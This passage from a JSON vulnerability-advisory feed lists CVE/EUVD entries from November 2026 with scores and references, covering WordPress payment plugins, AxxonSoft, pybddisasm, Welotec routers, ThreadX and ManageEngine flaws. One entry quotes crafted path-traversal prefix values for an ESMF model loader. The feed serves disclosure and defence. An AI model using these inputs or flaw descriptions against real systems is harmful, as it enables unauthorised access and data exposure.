Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-91075","summary":"The Eupago Gateway For Woocommerce WordPress plugin from 4.5.0 through 4.7.5 does not verify the authenticity of incoming payment-confirmation webhook requests in some configurations, allowing unauthenticated attackers to forge a payment confirmation and mark a pending order as paid without paying for it.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01506,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/065557b8-a29f-4c59-9289-2343d90447b1/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:13","euvd":{"id":"EUVD-2026-115719","description":"The Eupago Gateway For Woocommerce WordPress plugin from 4.5.0 through 4.7.5 does not verify the authenticity of incoming payment-confirmation webhook requests in some configurations, allowing unauthenticated attackers to forge a payment confirmation and mark a pending order as paid without paying for it.","published_time":"2026-11-03T08:20:22","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/065557b8-a29f-4c59-9289-2343d90447b1/"],"products":["Eupago Gateway For Woocommerce"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-92610","summary":"In esmf-sdk-py-aspect-model-loader versions 2.1.2 to 2.2.1, the Aspect Model loader resolves cross-file model references by extracting the third and fourth colon-separated components of any urn:samm:… namespace declared in a parsed Turtle file to build a directory to scan. A model file containing @prefix x: <urn:samm:../../../foo:bar#> or @prefix x: <urn:samm:/abs/path:bar#> causes the loader to glob and parse *.ttl files from arbitrary directories outside the intended models root, merging their contents into the returned graph.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00164,"ranking_epss":0.05648,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/309","https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/969"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:13","euvd":{"id":"EUVD-2026-115715","description":"In esmf-sdk-py-aspect-model-loader versions 2.1.2 to 2.2.1, the Aspect Model loader resolves cross-file model references by extracting the third and fourth colon-separated components of any urn:samm:… namespace declared in a parsed Turtle file to build a directory to scan. A model file containing @prefix x: <urn:samm:../../../foo:bar#> or @prefix x: <urn:samm:/abs/path:bar#> causes the loader to glob and parse *.ttl files from arbitrary directories outside the intended models root, merging their contents into the returned graph.","published_time":"2026-11-03T08:42:54","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"eclipse","references":["https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/969","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/309"],"products":["Eclipse Semantic Modeling Framework (ESMF)"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-121023","summary":"Insertion of Sensitive Information into Log File (CWE-532) in the ARP Agent component in AxxonSoft AxxonNet before 3.25.0 on Windows and Linux allows a local attacker with read access to ARP Agent log files or support packages to obtain the plaintext password of the LDAP directory service account via WARNING-level log entries that contain serialized user synchronization data.","cvss":6.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.5,"cvss_v4":6.8,"epss":0.00101,"ranking_epss":0.00872,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121023"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:12","euvd":{"id":"EUVD-2026-115712","description":"Insertion of Sensitive Information into Log File (CWE-532) in the ARP Agent component in AxxonSoft AxxonNet before 3.25.0 on Windows and Linux allows a local attacker with read access to ARP Agent log files or support packages to obtain the plaintext password of the LDAP directory service account via WARNING-level log entries that contain serialized user synchronization data.","published_time":"2026-11-03T08:47:09","cvss":6.8,"cvss_version":"4.0","epss":0.0,"assigner":"AxxonSoft","references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121023"],"products":["AxxonNet ARP Agent"],"vendors":["AxxonSoft"]},"ghsa":null},{"cve_id":"CVE-2026-121024","summary":"Incorrect Authorization (CWE-863) in the Health Monitoring service in AxxonSoft AxxonNet before 3.28.0 on Linux allows a remote attacker in possession of a shared report token, which is intended for read-only access, to create, modify or delete monitoring alerts via the monitoring API.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.3,"epss":0.00207,"ranking_epss":0.10801,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121024"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:12","euvd":{"id":"EUVD-2026-115711","description":"Incorrect Authorization (CWE-863) in the Health Monitoring service in AxxonSoft AxxonNet before 3.28.0 on Linux allows a remote attacker in possession of a shared report token, which is intended for read-only access, to create, modify or delete monitoring alerts via the monitoring API.","published_time":"2026-11-03T08:48:10","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"AxxonSoft","references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121024"],"products":["AxxonNet"],"vendors":["AxxonSoft"]},"ghsa":null},{"cve_id":"CVE-2026-118445","summary":"A use-after-free vulnerability in the pybddisasm Python bindings affects structure-valued members of INSTRUX objects. These members are exposed through Python objects that reference memory owned by the parent INSTRUX object. A retained reference to a member does not keep the parent allocation alive. Accessing the member after the parent INSTRUX object has been freed therefore accesses freed memory. Depending on how the member is used and whether the freed allocation has been reused, this may expose process memory or cause the Python process to crash. Exploitation requires an application to retain and subsequently access a member reference after the parent object has been freed. The pybddisasm package is no longer maintained.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":0.00105,"ranking_epss":0.01038,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://pypi.org/project/pybddisasm/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:11","euvd":{"id":"EUVD-2026-115703","description":"A use-after-free vulnerability in the pybddisasm Python bindings affects structure-valued members of INSTRUX objects. These members are exposed through Python objects that reference memory owned by the parent INSTRUX object. A retained reference to a member does not keep the parent allocation alive. Accessing the member after the parent INSTRUX object has been freed therefore accesses freed memory. Depending on how the member is used and whether the freed allocation has been reused, this may expose process memory or cause the Python process to crash. Exploitation requires an application to retain and subsequently access a member reference after the parent object has been freed. The pybddisasm package is no longer maintained.","published_time":"2026-11-03T09:00:46","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"Bitdefender","references":["https://pypi.org/project/pybddisasm/"],"products":["pybddisasm"],"vendors":["Bitdefender"]},"ghsa":null},{"cve_id":"CVE-2026-118446","summary":"A use-after-free vulnerability in the pybddisasm Python bindings affects array-valued members of INSTRUX objects, including ND_OPERAND arrays. These arrays are exposed as Python lists whose elements reference memory owned by the parent INSTRUX object. Retaining a list or an element does not keep the parent allocation alive. Accessing an element after the parent INSTRUX object has been freed therefore accesses freed memory. Depending on how the element is used and whether the freed allocation has been reused, this may expose process memory or cause the Python process to crash. Exploitation requires an application to retain and subsequently access an array element after the parent object has been freed. The pybddisasm package is no longer maintained.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":0.00105,"ranking_epss":0.01038,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://pypi.org/project/pybddisasm/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:11","euvd":{"id":"EUVD-2026-115702","description":"A use-after-free vulnerability in the pybddisasm Python bindings affects array-valued members of INSTRUX objects, including ND_OPERAND arrays. These arrays are exposed as Python lists whose elements reference memory owned by the parent INSTRUX object. Retaining a list or an element does not keep the parent allocation alive. Accessing an element after the parent INSTRUX object has been freed therefore accesses freed memory. Depending on how the element is used and whether the freed allocation has been reused, this may expose process memory or cause the Python process to crash. Exploitation requires an application to retain and subsequently access an array element after the parent object has been freed. The pybddisasm package is no longer maintained.","published_time":"2026-11-03T09:00:58","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"Bitdefender","references":["https://pypi.org/project/pybddisasm/"],"products":["pybddisasm"],"vendors":["Bitdefender"]},"ghsa":null},{"cve_id":"CVE-2026-118447","summary":"A use of uninitialized memory vulnerability in the pybddisasm Python bindings may disclose process memory when instruction decoding fails. The nd_decode, nd_decode_ex, nd_decode_ex2, and nd_decode_with_context functions may return an INSTRUX object whose contents have not been initialized after an unsuccessful decoding operation, including failures caused by invalid parameters. Accessing members of the returned object may expose residual process memory. Exploitation requires an application to access and expose the returned object contents after a decoding failure. The pybddisasm package is no longer maintained.","cvss":4.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":4.8,"epss":0.00105,"ranking_epss":0.01039,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://pypi.org/project/pybddisasm/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:11","euvd":{"id":"EUVD-2026-115701","description":"A use of uninitialized memory vulnerability in the pybddisasm Python bindings may disclose process memory when instruction decoding fails. The nd_decode, nd_decode_ex, nd_decode_ex2, and nd_decode_with_context functions may return an INSTRUX object whose contents have not been initialized after an unsuccessful decoding operation, including failures caused by invalid parameters. Accessing members of the returned object may expose residual process memory. Exploitation requires an application to access and expose the returned object contents after a decoding failure. The pybddisasm package is no longer maintained.","published_time":"2026-11-03T09:01:09","cvss":4.8,"cvss_version":"4.0","epss":0.0,"assigner":"Bitdefender","references":["https://pypi.org/project/pybddisasm/"],"products":["pybddisasm"],"vendors":["Bitdefender"]},"ghsa":null},{"cve_id":"CVE-2026-118448","summary":"A use of uninitialized memory vulnerability in the pybddisasm Python bindings affects nd_to_text. If the underlying text conversion fails, including failures caused by invalid parameters, the output buffer may remain uninitialized while still being converted into a Python return value. This may disclose residual process memory or cause the Python process to crash. Exploitation requires an application to invoke nd_to_text in a way that causes conversion to fail and to return or otherwise use the resulting output. The pybddisasm package is no longer maintained.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":0.00105,"ranking_epss":0.0104,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://pypi.org/project/pybddisasm/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:11","euvd":{"id":"EUVD-2026-115700","description":"A use of uninitialized memory vulnerability in the pybddisasm Python bindings affects nd_to_text. If the underlying text conversion fails, including failures caused by invalid parameters, the output buffer may remain uninitialized while still being converted into a Python return value. This may disclose residual process memory or cause the Python process to crash. Exploitation requires an application to invoke nd_to_text in a way that causes conversion to fail and to return or otherwise use the resulting output. The pybddisasm package is no longer maintained.","published_time":"2026-11-03T09:01:33","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"Bitdefender","references":["https://pypi.org/project/pybddisasm/"],"products":["pybddisasm"],"vendors":["Bitdefender"]},"ghsa":null},{"cve_id":"CVE-2026-121020","summary":"Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) in the security configuration API in AxxonSoft Axxon One before 3.2.0 on Windows and Linux allows a remote authenticated user with limited privileges to enumerate all user accounts and roles configured in the system via the user configuration request, which returned the complete lists of users and roles regardless of the caller's permissions.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":0.00215,"ranking_epss":0.11919,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121020"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:11","euvd":{"id":"EUVD-2026-115716","description":"Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) in the security configuration API in AxxonSoft Axxon One before 3.2.0 on Windows and Linux allows a remote authenticated user with limited privileges to enumerate all user accounts and roles configured in the system via the user configuration request, which returned the complete lists of users and roles regardless of the caller's permissions.","published_time":"2026-11-03T08:42:09","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"AxxonSoft","references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121020"],"products":["Axxon One"],"vendors":["AxxonSoft"]},"ghsa":null},{"cve_id":"CVE-2026-121021","summary":"Plaintext Storage of a Password (CWE-256) in the SecurityManager shared configuration in AxxonSoft Axxon One before 3.1.0 on Windows and Linux allows a local attacker with read access to the configuration directory or to configuration backups to obtain the password of the LDAP directory service account via the main.conf configuration file.","cvss":6.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.5,"cvss_v4":6.8,"epss":0.00092,"ranking_epss":0.00497,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121021"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:11","euvd":{"id":"EUVD-2026-115714","description":"Plaintext Storage of a Password (CWE-256) in the SecurityManager shared configuration in AxxonSoft Axxon One before 3.1.0 on Windows and Linux allows a local attacker with read access to the configuration directory or to configuration backups to obtain the password of the LDAP directory service account via the main.conf configuration file.","published_time":"2026-11-03T08:43:43","cvss":6.8,"cvss_version":"4.0","epss":0.0,"assigner":"AxxonSoft","references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121021"],"products":["Axxon One"],"vendors":["AxxonSoft"]},"ghsa":null},{"cve_id":"CVE-2026-121022","summary":"Use of Default Password (CWE-1393) in the web client in AxxonSoft Axxon One before 3.0.0 on Windows and Linux allows a remote unauthenticated attacker to log in as the built-in administrator with the default credentials on a newly installed system, because the web client did not enforce the mandatory change of the default password on first login.","cvss":9.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":9.2,"epss":0.00378,"ranking_epss":0.31869,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121022"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:11","euvd":{"id":"EUVD-2026-115713","description":"Use of Default Password (CWE-1393) in the web client in AxxonSoft Axxon One before 3.0.0 on Windows and Linux allows a remote unauthenticated attacker to log in as the built-in administrator with the default credentials on a newly installed system, because the web client did not enforce the mandatory change of the default password on first login.","published_time":"2026-11-03T08:46:13","cvss":9.2,"cvss_version":"4.0","epss":0.0,"assigner":"AxxonSoft","references":["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121022"],"products":["Axxon One"],"vendors":["AxxonSoft"]},"ghsa":null},{"cve_id":"CVE-2026-105980","summary":"Improper input validation in the WireGuard VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":0.00358,"ranking_epss":0.29593,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:10","euvd":{"id":"EUVD-2026-115708","description":"Improper input validation in the WireGuard VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","published_time":"2026-11-03T08:59:03","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"CERTVDE","references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"products":["TK500-v3","TK500-v2","TK100"],"vendors":["Welotec"]},"ghsa":null},{"cve_id":"CVE-2026-105981","summary":"Improper input validation in the Digital I/O function may allow a remote attacker with high privileges to inject operating system commands and execute them with root privileges.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":0.00358,"ranking_epss":0.29594,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:10","euvd":{"id":"EUVD-2026-115707","description":"Improper input validation in the Digital I/O function may allow a remote attacker with high privileges to inject operating system commands and execute them with root privileges.","published_time":"2026-11-03T08:59:52","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"CERTVDE","references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"products":["TK500-v3","TK500-v2","TK100"],"vendors":["Welotec"]},"ghsa":null},{"cve_id":"CVE-2026-105982","summary":"Improper input validation in the IPsec VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":0.00466,"ranking_epss":0.4036,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:10","euvd":{"id":"EUVD-2026-115706","description":"Improper input validation in the IPsec VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","published_time":"2026-11-03T09:00:05","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"CERTVDE","references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"products":["TK500-v2","TK100","TK500-v3"],"vendors":["Welotec"]},"ghsa":null},{"cve_id":"CVE-2026-109161","summary":"Insufficient bounds checking in the Digital I/O function may allow a remote attacker with high privileges to cause a denial of service.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.9,"cvss_v4":6.9,"epss":0.003,"ranking_epss":0.2276,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:10","euvd":{"id":"EUVD-2026-115705","description":"Insufficient bounds checking in the Digital I/O function may allow a remote attacker with high privileges to cause a denial of service.","published_time":"2026-11-03T09:00:27","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"CERTVDE","references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"products":["TK500-v3","TK500-v2","TK100"],"vendors":["Welotec"]},"ghsa":null},{"cve_id":"CVE-2026-113421","summary":"In Eclipse ThreadX versions 6.0.1 through 6.5.2.202603, ThreadX Modules does not revoke a module's trace-buffer-full callback when the module is stopped and unloaded. With event tracing enabled and a kernel-owned trace buffer still active, a later buffer wrap invokes the callback from privileged thread context after the module's code has been released, so a user-mode module can have its code run with kernel privileges after unload, or, once the memory is reused, redirect control flow or cause a fault.","cvss":7.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.3,"epss":0.00107,"ranking_epss":0.01122,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-8pgj-qvjv-j4fq","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/457"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:10","euvd":{"id":"EUVD-2026-115717","description":"In Eclipse ThreadX versions 6.0.1 through 6.5.2.202603, ThreadX Modules does not revoke a module's trace-buffer-full callback when the module is stopped and unloaded. With event tracing enabled and a kernel-owned trace buffer still active, a later buffer wrap invokes the callback from privileged thread context after the module's code has been released, so a user-mode module can have its code run with kernel privileges after unload, or, once the memory is reused, redirect control flow or cause a fault.","published_time":"2026-11-03T08:27:59","cvss":7.3,"cvss_version":"4.0","epss":0.0,"assigner":"eclipse","references":["https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-8pgj-qvjv-j4fq","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/457"],"products":["Eclipse ThreadX"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-115231","summary":"In Eclipse ThreadX versions 6.0.1 through 6.5.2.202603, the Module Manager lets a user-mode, memory-protected module post a forged callback request to another module's callback request queue. The receiving module's callback thread calls the function pointer in the request without checking that the Module Manager sent it, so the attacker's code runs with the receiving module's privilege; when that module runs in privileged mode, a user-mode module gains privileged execution.","cvss":8.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.5,"epss":0.00113,"ranking_epss":0.01427,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-q2rc-f35r-2hw6","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/484"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:10","euvd":{"id":"EUVD-2026-115718","description":"In Eclipse ThreadX versions 6.0.1 through 6.5.2.202603, the Module Manager lets a user-mode, memory-protected module post a forged callback request to another module's callback request queue. The receiving module's callback thread calls the function pointer in the request without checking that the Module Manager sent it, so the attacker's code runs with the receiving module's privilege; when that module runs in privileged mode, a user-mode module gains privileged execution.","published_time":"2026-11-03T08:23:02","cvss":8.5,"cvss_version":"4.0","epss":0.0,"assigner":"eclipse","references":["https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-q2rc-f35r-2hw6","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/484"],"products":["Eclipse ThreadX"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-118444","summary":"Out-of-bounds read vulnerabilities in the pybddisasm Python bindings may disclose adjacent process memory during instruction decoding. The nd_decode function may read up to 15 bytes without checking the actual length of the supplied Python buffer. The nd_decode_ex, nd_decode_ex2, and nd_decode_with_context functions pass the caller-supplied buffer size to the decoder without validating it against the actual length of the Python buffer. Data read beyond the buffer may be exposed through nd_get_instrux_bytes, which returns a fixed-length list of 16 bytes. Exploitation requires an application to invoke the affected APIs with a short buffer or an oversized length and to expose the resulting bytes to an attacker. The pybddisasm package is no longer maintained.","cvss":4.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":4.8,"epss":0.00105,"ranking_epss":0.01039,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://pypi.org/project/pybddisasm/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:10","euvd":{"id":"EUVD-2026-115704","description":"Out-of-bounds read vulnerabilities in the pybddisasm Python bindings may disclose adjacent process memory during instruction decoding. The nd_decode function may read up to 15 bytes without checking the actual length of the supplied Python buffer. The nd_decode_ex, nd_decode_ex2, and nd_decode_with_context functions pass the caller-supplied buffer size to the decoder without validating it against the actual length of the Python buffer. Data read beyond the buffer may be exposed through nd_get_instrux_bytes, which returns a fixed-length list of 16 bytes. Exploitation requires an application to invoke the affected APIs with a short buffer or an oversized length and to expose the resulting bytes to an attacker. The pybddisasm package is no longer maintained.","published_time":"2026-11-03T09:00:36","cvss":4.8,"cvss_version":"4.0","epss":0.0,"assigner":"Bitdefender","references":["https://pypi.org/project/pybddisasm/"],"products":["pybddisasm"],"vendors":["Bitdefender"]},"ghsa":null},{"cve_id":"CVE-2026-105978","summary":"Improper input validation in management control functions may allow a remote attacker with high privileges to inject operating system commands and execute them with root privileges.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":0.00358,"ranking_epss":0.29593,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:09","euvd":{"id":"EUVD-2026-115710","description":"Improper input validation in management control functions may allow a remote attacker with high privileges to inject operating system commands and execute them with root privileges.","published_time":"2026-11-03T08:58:17","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"CERTVDE","references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"products":["TK500-v3","TK500-v2","TK100"],"vendors":["Welotec"]},"ghsa":null},{"cve_id":"CVE-2026-105979","summary":"Improper input validation in the ZeroTier VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":0.00358,"ranking_epss":0.29593,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:09","euvd":{"id":"EUVD-2026-115709","description":"Improper input validation in the ZeroTier VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","published_time":"2026-11-03T08:58:40","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"CERTVDE","references":["https://www.certvde.com/en/advisories/VDE-2026-119/"],"products":["TK500-v2","TK500-v3","TK100"],"vendors":["Welotec"]},"ghsa":null},{"cve_id":"CVE-2026-103327","summary":"The CryptoCloud WordPress plugin from 3.0.0 through 3.0.1 does not verify the authenticity of the payment notifications received by its gateway callback, as the integrity check is skipped while the webhook secret is left at its empty default, allowing unauthenticated attackers to mark arbitrary orders as paid or failed without any payment being made.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01507,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/fd5563ed-85c6-4b17-acf6-bdc2cd77dd4b/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T09:17:08","euvd":{"id":"EUVD-2026-115720","description":"The CryptoCloud WordPress plugin from 3.0.0 through 3.0.1 does not verify the authenticity of the payment notifications received by its gateway callback, as the integrity check is skipped while the webhook secret is left at its empty default, allowing unauthenticated attackers to mark arbitrary orders as paid or failed without any payment being made.","published_time":"2026-11-03T08:20:21","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/fd5563ed-85c6-4b17-acf6-bdc2cd77dd4b/"],"products":["CryptoCloud"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-120988","summary":"billboard.js before 4.1.3 allows an attacker to execute malicious JavaScript due to improper sanitization of series ids during legend template rendering.","cvss":6.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":null,"epss":0.00159,"ranking_epss":0.05029,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://cve.naver.com/detail/cve-2026-120988.html","https://github.com/naver/billboard.js/security/advisories/GHSA-g5px-mcqp-3ghp","https://github.com/naver/billboard.js/security/advisories/GHSA-g5px-mcqp-3ghp"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T08:17:15","euvd":{"id":"EUVD-2026-115726","description":"billboard.js before 4.1.3 allows an attacker to execute malicious JavaScript due to improper sanitization of series ids during legend template rendering.","published_time":"2026-11-03T07:15:35","cvss":6.1,"cvss_version":"3.1","epss":0.0,"assigner":"naver","references":["https://cve.naver.com/detail/cve-2026-120988.html","https://github.com/naver/billboard.js/security/advisories/GHSA-g5px-mcqp-3ghp"],"products":["billboard.js"],"vendors":["NAVER"]},"ghsa":null},{"cve_id":"CVE-2026-13594","summary":"Zoho Corporation's ManageEngine Log360 and EventLog Analyzer versions 13062 and below are vulnerable to an issue that could allow an adversary to gain unauthorized access to the product.","cvss":9.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.1,"cvss_v4":null,"epss":0.01142,"ranking_epss":0.66717,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.manageengine.com/products/eventlog/advisory/CVE-2026-13594.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T08:17:15","euvd":{"id":"EUVD-2026-115725","description":"Zoho Corporation's ManageEngine Log360 and EventLog Analyzer versions 13062 and below are vulnerable to an issue that could allow an adversary to gain unauthorized access to the product.","published_time":"2026-11-03T07:29:10","cvss":9.1,"cvss_version":"3.1","epss":0.0,"assigner":"Zohocorp","references":["https://www.manageengine.com/products/eventlog/advisory/CVE-2026-13594.html"],"products":["Log360","EventLog Analyzer"],"vendors":["Zohocorp"]},"ghsa":null},{"cve_id":"CVE-2026-16900","summary":"Zohocorp ManageEngine Log360 and EventLog Analyzer versions 13071 and below are vulnerable to an authentication bypass in local collector registration, allowing unauthenticated actor to register a local collector by sending a specially crafted registration request.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":0.01539,"ranking_epss":0.7493,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.manageengine.com/products/eventlog/advisory/CVE-2026-16900.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T08:17:15","euvd":{"id":"EUVD-2026-115723","description":"Zohocorp ManageEngine Log360 and EventLog Analyzer versions 13071 and below are vulnerable to an authentication bypass in local collector registration, allowing unauthenticated actor to register a local collector by sending a specially crafted registration request.","published_time":"2026-11-03T07:39:46","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"Zohocorp","references":["https://www.manageengine.com/products/eventlog/advisory/CVE-2026-16900.html"],"products":["Log360","EventLog Analyzer"],"vendors":["Zohocorp"]},"ghsa":null},{"cve_id":"CVE-2026-4052","summary":"This issue only impacts deployments where WSO2 Identity Server is configured as a Resident Key Manager with database sharing. In such environments, a self-registered user may gain access to the System REST APIs of WSO2 API Manager by obtaining a token from the WSO2 Identity Server token endpoint.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":0.0036,"ranking_epss":0.29885,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2026-5212/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T08:17:15","euvd":{"id":"EUVD-2026-115721","description":"This issue only impacts deployments where WSO2 Identity Server is configured as a Resident Key Manager with database sharing. In such environments, a 